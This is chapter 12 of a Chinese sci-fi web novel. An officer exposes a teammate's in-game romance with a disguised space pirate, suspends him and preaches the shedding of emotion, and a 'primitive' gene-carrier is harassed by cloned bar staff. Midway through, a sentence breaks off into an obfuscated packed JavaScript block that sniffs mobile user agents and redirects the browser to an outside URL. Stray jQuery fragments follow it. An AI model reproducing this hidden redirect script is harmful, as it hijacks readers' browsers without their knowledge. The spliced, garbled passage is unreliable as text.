12. 现实 “我觉得你需要看完这个帖子再考虑要不要为你那突如其来的爱情奋不顾身。” 顾青把智脑里的内容直接投影到了墙壁上,于是那个标着【hot】的恋爱咨询贴大喇喇地展现在卢枫,叶凛和洛禾面前。 帖子的前半段还在讨论恋爱的酸臭,另外三人看得不明所以,直到77L爆出一句:【等等,这个游戏从开服至今敢抢楼主单子的不就一个人吗?那个二级号。她不是有男朋友吗?】 卢枫脸色一白,叶凛和洛禾仿佛意识到了什么,看向顾青,似乎在向他求证自己的猜想,又像是恳求他手下留情,不要对老幺这么残忍,适度留几分体面。 顾青并没有理会他们的目光,反而是把画面放大,还调出了论坛里贴出的图片放到旁边并列着,顶着【清禾】ID的游戏形象就这么和论坛里Q的回复放在一起,打碎了卢枫最后的一丝幻想。 【是啊。这个问题我也在思考后续的解决办法。不过目前来说,清禾从来没有承认过和秋枫的恋爱关系不是吗,从始至终都是秋枫单方面的宣布而已。】 论坛里跟了十几层的省略号和问号,86楼忍不住开麦,但顾虑Q的实力,还是斟酌了一下用词:【大佬,那你这不是撬墙角吗?不管怎么说,大家不都知道他们俩的事情吗,你看起来也知道啊,这不太体面吧。】 Q很快回复了这条:【请允许我提醒你一下,任何关系都需要双方达成共识,否则无效。哪怕是交易,也应该双方确认,单方面宣扬的关系不叫关系。退一万步而言,伴侣关系在动物界并不是完全地一对一,而且就算是远古讲究一夫一妻制的人类社会,恋爱关系和婚姻关系也可以随时终止,更换选择,这是人类远古法则里的人权基础条例。】 【真的有这条吗?我读书少,你别骗我。】 【不是,Q你这么博学的吗?不是个杀手吗?你该不会还特地去翻了一下人类那几千条弯弯绕绕的条款吧。】 【妈呀,那些条款我看着头晕,居然有人能看完吗?】 【楼主是不是把条款全下载了精准搜索出来的,我真不信有人能看完。】 Q并不说话,只是一味地往上发《基础人权条款》的截图,从远古世纪到现在的联邦法则,标红了其中的【公民享有婚恋自由】这一段。 最后击溃卢枫的是一张图,第三视角拍的,凑热闹的一位论坛群众找亲友发出来的,有些模糊,但很快就经由AI进行了还原。 灰蒙蒙的天色,倒塌的建筑,弥漫着火焰和硝烟的碎石堆。 他一眼就看出了这是黑云城寨,他和【清禾】 重逢的地方,他以为确定关系的定情之地。 顾青把图片里的人放大了三倍,让卢枫看清了他们的姿势。 穿着灰绿色作战服的高大男人弯下腰,脸上的面具半掀起,露出瘦削的下颌,嘴角上扬。 碎石堆后面的女孩半蹲着,手上还在拆卸弹匣,半仰着头看着面前的男人,朝他撅着嘴,十分主动,仿佛是在邀约。 Q把这张图直接置顶了,而屏幕外的卢枫直愣愣地看着,唇色发白,也说不出什么话来,仿佛短路了的机器人,失去了应答的能力。 叶凛和洛禾都有些于心不忍,担忧地看着团队里的老幺,开口劝和:“现在事情也清楚了,青哥,没必要继续投影了吧。” 顾青并没有回应他们的恳求,看向墙壁上的投影,把画面里的男人放大:“这个事情不止于此,看这个人的穿着风格和用枪习惯。” “金属面具,特制防护服,紧腰束带,腿部圆环,钉靴。尤其是他手中的ASVal手枪,我查了一下官方设定,官方为了平衡在游戏里削弱了很多,减少了子弹容量,也压缩了射程,所以它在当前版本游戏里并不是热门武器。” “卢枫。”顾青侧过头看着从方才开始就面色如纸一动不动的老幺,“我希望你还记得这些代表了什么。” 卢枫坐在椅子上,整个人如同漂浮在空中一般,干裂的嘴唇张开的时候撕扯了一下,隐隐作痛,他顾不上舔伤口,开口回答:“记得。” 他看向图片里的人,只觉得十分虚幻,“星际海盗的标志,因为常年在迷失空间里漂泊,流窜星球之间作案,所以他们习惯性蒙面,而且身上会有很多隐藏武器的挂饰,ASVal射程远,子弹容量高,而且爆炸力强,很容易引起混乱,是他们最喜欢的武器。” 顾青静静看着他,冷淡开口:“十分明显。但为什么你在这个游戏里这么久了,从来没有上报联邦的通缉犯和你在游戏里抢同一个虚拟角色,从他的语气中,我是不是可以认为你们之间应该不只是陌生人的关系,看起来,你们应该有过交集。” 卢枫顿时失去了所有的血色,仰头看着顾青,像是被抽去了脊梁一般,没有任何的挣扎,安静又绝望,像是跪在圣殿里向神官忏悔一般,虔诚又绝望:“是,我没有认出来。” 顾青低着头,看着队伍里的老幺,没有安抚他,而是继续问:“为什么没有认出来?” 卢枫嘴唇颤抖着,想说出原因,陈述他那冲昏头脑的爱情和恐慌排外,又被心中的羞愧所打败,以至于眼角带着悔恨的泪光,深深地垂下头,不敢再面对顾青审判一样的目光,又或者不敢面对他荒唐而又低级的错误。 叶凛和洛禾头一次见到卢枫这样,满是不忍,但又说不出求情的话。 这种低级而又致命的错误,如果顾青选择上报,卢枫一辈子就完了。 顾青选择把他们叫出来到私人水吧里聊而不是在满是监控的机关大楼里说出口,已经是最大的宽容了。 顾青没有继续逼问,只是从智脑又调出了些数据投屏在墙壁上。 这些天以来卢枫的训练数据,登陆游戏频率,在游戏里的枪支使用记录,在游戏论坛的发言。 顾青什么都不说,把这些数据齐齐排列在一起,放在三人面前。 然后他开口问卢枫:“现在你知道为什么联邦把恋爱列为违禁行为了吗?” 卢枫愣愣看着墙壁上刺目的数据,仿佛大梦初醒一般,“知道了。” “休养半年,重新接受军校考核,游戏账号由官方接管,有意见吗?” 卢枫摇了摇头,“没有。” 顾青关掉了投屏,直接传了一份拟好的《军方人员休养申请书》给卢枫,“签字吧。” 卢枫接收了文件,没怎么看,直接在光屏上签了名。 顾青看了一眼确认签名没问题之后直接提交了,不到十分钟,卢枫便收到了休养的通知。 “如果半年内你无法通过考核,我会从军校里补录一名优秀人员进入队伍。” 顾青垂着眼,神色淡泊地像是广场里的石像,声音没有什么波澜。 “优胜劣汰,适者生存。这是时代的法则,谁也不能幸免。” 说完,他掀起眼皮,扫了叶凛和洛禾一眼,像是一种隐形的敲打。 顾青微笑起来,眼眸中沉着一片冷色,“我最后一次提醒你们,基因选择站在时代前沿而不必匍匐于地面苟延残喘的原因便是人类学会了舍弃不必要的劣质本能,知道怎么做才是最优解。” 长着翅膀的亚兽人在他身后巨幅广告屏上一闪而过,露出灿烂的笑容为一款飞行稳定器代言。 穿着花花绿绿的人在地面上匆匆忙忙,像火柴一样渺小看不清面容。 顾青站在玻璃面前,仿佛把他背后的这一座城市踩在脚下,“爱,恨,痛苦,喜悦,冲动,嫉恨,这是远古人类的本能,是兽人在融合其他生物的时候就要付出一生来抵抗的枷锁。这是他们注定会被时代抛弃的原因,也是你我站在于此的根基。” “正是因为我们舍弃了这些,选择向着机械寻求未来的可能,所以你们和我今天才能站在这里,享受着至高无上的权限。权利与义务永远是并行的。你们失能,我会立刻换人。” “如果有一天我失能,我也不会推脱,承担起我应该担负的罪责。” 纪念广场上的时钟正好走到十二点,白色钟楼发出悠长的钟声,环绕广场的巨屏上放起鸽群翩飞的全息幻影。 虚拟的白鸽张开翅膀从屏幕里飞出,张开翅膀从闪烁着银色光彩的巨楼间穿过,掠过高空上的花园,掠过白色的巨塔,掠过莫比乌斯环一般的机械大楼,飞向天空成为炫目的光点。 宁清禾正好站在广场的正中间,看着这些鸽子的虚影穿过自己,情不自禁仰着头视线追随它们而去,目光匆匆划过那些高楼,看见楼中人的影子,只觉像是天上星辰一般遥不可及。 她的目光没有停留,也没有好奇,很快又重新开始看着面前偌大个商圈,想着哪家店有可能缺人。 她已经事先在招聘软件上找过一轮,但低劣基因携带者的身份一登录,可选择职位只剩下一片空白。 “您好,你们这里招临时工吗?”宁清禾经过慎重思考,走进了一家看起来是酒吧的黑色店铺。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407406|200593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾青一行人正好从楼梯上走下来,虽然没有注意到角落里的宁清禾,但店里的经理还是慌张起来,板着脸,恨不得把宁清禾从窗户抛出去让她原地消失:“不招不招,你快点走,我们这是正经场所。你这样打扰到我们做生意了你知道吗?” 宁清禾愣了一下,正想解释,经理一把将她拽到楼梯下的阴影里,避免她出现在顾青这几人的视野中的任何可能。 “你是原始人种,劣等基因携带者,对吧?” 宁清禾有些惊讶,正想问他怎么知道的。 一个长得跟经理有八分相似的人走过来,捧着托盘,正想说话,看到宁清禾猛地瞪大了眼睛,“我靠,原始人类?!” 顾青一行人已经走远了,大厅瞬间空了,这一声呼喊引得所有穿着黑色制服的人围了过来,像是看动物园里的稀有物种一样看着宁清禾。 “哇塞,真是啊。” “我还以为原始人类都灭绝了,居然还活着。” 宁清禾环顾四周,看着这一张张惊讶好奇的脸,他们的五官如出一辙,体型也相似,唯一能加以区分的,便是头发的颜色和身上的饰品。 但此刻他们穿着店里的统一装束,用高度相似的长相和目光看着宁清禾,像是复制的鬼影一般,让她生出一股惊悚来。 “你们,是兄弟姐妹吗?”她忍不住发问。 包围她的人齐齐露出一种鄙夷的笑来,抱着手臂居高临下看着她,解释的声音里都带着些对她的瞧不起: “果然是原始人类,压根不知道基因筛选吧。” “土包子,这是世界上公认的优良基因,最完美的身材和五官,我们出生就可以得到了,谁还像你们一样,靠生殖繁衍来继承基因。” “你们原始人类还有多少人?还能繁衍下去吗?” “你眼睛太大了,跟个玻璃球一样,脸又小,鼻子不够高,嘴巴也太小。”一个绑着脏辫的人低下头凑近了宁清禾,眯着眼睛,看着她直摇头。 于是其他人也凑近了,像是围观一个新奇的玩具一样,纷纷出口点评: “是啊是啊,双眼皮早就不流行了,很难看的。” “身高也矮了点,你成年了吗?” 宁清禾压根分不清谁是谁,只觉得四面八方都是同一张脸,就连尖酸刻薄的语气也相似,胸口上的铭牌也是大同小异,除去姓氏不同,名字也是差不多,什么思维思文思语。 一只手伸出来,似乎是要捏她的脸验证她的真实存在,宁清禾下意识就打了回去。 啪的一声,那只手背上顿时浮现出红色的五个指印。 “哎哟!你干嘛!”一张脸皱起眉,甩着发红的手。 其他的脸顿时也不高兴起来,怒目而视。 “真是原始人类,不懂礼貌。” “把她送去警局!遣送回废弃城里去!她就不该出现!” 他们七嘴八舌围了上来,像是一团巨大的阴影,要把她吞噬。 宁清禾什么也顾不上,伸出手,像是维修机械人一样,瞄准他们的脆弱之处,打踹蹬踢,硬生生撕出一个口子来,把手边的人狠狠一推,像是逃离噩梦一样跑出去,躲回了属于自己的宿舍。 她连续做了好几天的噩梦,梦见许多张一模一样的脸,像是无限繁殖的癌细胞一样,挤占了所有的空间,那些脸的眼睛不约而同看着她,发出瘆人的笑来,朝她伸出手。 在白天,她也总是忍不住去看人的脸,去看他们的五官,似乎想分辨是噩梦还是现实。 在一次展会休息的间隙,宁清禾去高楼层上卫生间,不经意间看见脚下的人群。 她忍不住停留,观看,穿着工服的工作人员仿佛一片海,带着工服的颜色,面容模糊。 唯独穿着制服的那几位站在人群中间,极为醒目,五官也格外的优异。 宁清禾忍不住在旁边的工作人员里扫了一圈,没有发现任何人和他们有相似的外貌特点。 她突然就领悟了,原来站得高的人,从基因就是一种特例了。 只有需要打工的进化人,才会用着廉价的五官基因,没有特点。 先进的基因进化人种之中原来也存在如此鲜明的三六九等,高位者才享有特立独行的权利。低位者便如同复制黏贴一般,连个体都不一定算得上。 她注视着顾青的时间太久,以至于顾青察觉到了自己背后的这一束目光,转过头来,和她目光相撞。